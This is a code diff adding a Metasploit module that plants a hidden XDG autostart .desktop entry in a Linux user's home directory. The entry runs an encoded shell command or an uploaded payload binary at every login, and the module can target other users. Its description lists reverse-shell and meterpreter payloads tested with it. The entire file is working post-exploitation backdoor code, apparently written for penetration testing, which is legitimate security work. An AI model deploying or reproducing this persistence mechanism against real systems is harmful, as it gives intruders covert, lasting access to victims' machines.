|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Post::File |
| 10 | + include Msf::Post::Unix |
| 11 | + include Msf::Exploit::EXE # for generate_payload_exe |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + include Msf::Post::Linux::User |
| 14 | + include Msf::Exploit::Local::Persistence |
| 15 | + prepend Msf::Exploit::Remote::AutoCheck |
| 16 | + include Msf::Exploit::Deprecated |
| 17 | + moved_from 'exploits/linux/local/autostart_persistence' |
| 18 | + |
| 19 | + def initialize(info = {}) |
| 20 | + super( |
| 21 | + update_info( |
| 22 | + info, |
| 23 | + 'Name' => 'Autostart Desktop Item Persistence', |
| 24 | + 'Description' => %q{ |
| 25 | + This module will create an autostart .desktop entry to execute a payload. |
| 26 | + The payload will be executed when the users logs in. |
| 27 | + Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3. |
| 28 | + The following payloads were used in testing: |
| 29 | + - cmd/unix/reverse_netcat |
| 30 | + - linux/x64/meterpreter/reverse_tcp |
| 31 | + - cmd/linux/http/x64/meterpreter/reverse_tcp |
| 32 | + }, |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'Author' => [ 'Eliott Teissonniere' ], |
| 35 | + 'Platform' => [ 'unix', 'linux' ], |
| 36 | + 'Arch' => [ |
| 37 | + ARCH_CMD, |
| 38 | + ARCH_X86, |
| 39 | + ARCH_X64, |
| 40 | + ARCH_ARMLE, |
| 41 | + ARCH_AARCH64, |
| 42 | + ARCH_PPC, |
| 43 | + ARCH_MIPSLE, |
| 44 | + ARCH_MIPSBE |
| 45 | + ], |
| 46 | + 'Payload' => { |
| 47 | + 'BadChars' => '#%\n"' |
| 48 | + }, |
| 49 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 50 | + 'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart |
| 51 | + 'Targets' => [['Automatic', {}]], |
| 52 | + 'DefaultTarget' => 0, |
| 53 | + 'References' => [ |
| 54 | + ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], |
| 55 | + ['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'], |
| 56 | + ], |
| 57 | + 'Notes' => { |
| 58 | + 'Stability' => [CRASH_SAFE], |
| 59 | + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], |
| 60 | + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] |
| 61 | + } |
| 62 | + ) |
| 63 | + ) |
| 64 | + |
| 65 | + register_options([ |
| 66 | + OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]), |
| 67 | + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), |
| 68 | + OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), |
| 69 | + ]) |
| 70 | + end |
| 71 | + |
| 72 | + def check |
| 73 | + print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') |
| 74 | + # https://unix.stackexchange.com/a/237750 |
| 75 | + return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg') |
| 76 | + |
| 77 | + CheckCode::Detected('Xorg is installed, possible desktop install.') |
| 78 | + end |
| 79 | + |
| 80 | + def target_user |
| 81 | + return datastore['USER'] unless datastore['USER'].blank? |
| 82 | + |
| 83 | + whoami |
| 84 | + end |
| 85 | + |
| 86 | + def install_persistence |
| 87 | + print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd' |
| 88 | + user = target_user |
| 89 | + home = get_home_dir(user) |
| 90 | + vprint_status('Making sure the autostart directory exists') |
| 91 | + cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists |
| 92 | + |
| 93 | + name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8) |
| 94 | + path = "#{home}/.config/autostart/#{name}.desktop" |
| 95 | + |
| 96 | + print_status("Uploading autostart file #{path}") |
| 97 | + |
| 98 | + autostart_stub = [ |
| 99 | + '[Desktop Entry]', |
| 100 | + 'Type=Application', |
| 101 | + "Name=#{name}", |
| 102 | + 'NoDisplay=true', |
| 103 | + 'Terminal=false' |
| 104 | + ] |
| 105 | + |
| 106 | + if payload.arch.first == 'cmd' |
| 107 | + write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n")) |
| 108 | + else |
| 109 | + payload_path = writable_dir |
| 110 | + payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" |
| 111 | + payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) |
| 112 | + payload_path << payload_name |
| 113 | + print_status("Uploading payload file to #{payload_path}") |
| 114 | + upload_and_chmodx payload_path, generate_payload_exe |
| 115 | + write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n")) |
| 116 | + @clean_up_rc << "rm #{payload_path}\n" |
| 117 | + end |
| 118 | + |
| 119 | + if whoami != user |
| 120 | + cmd_exec("chown #{user}:#{user} #{path}") |
| 121 | + unless payload.arch.first == 'cmd' |
| 122 | + cmd_exec("chown #{user}:#{user} #{payload_path}") |
| 123 | + end |
| 124 | + end |
| 125 | + |
| 126 | + print_good("Backdoor will run on next login by #{user}") |
| 127 | + |
| 128 | + @clean_up_rc << "rm #{path}\n" |
| 129 | + end |
| 130 | +end |
0 commit comments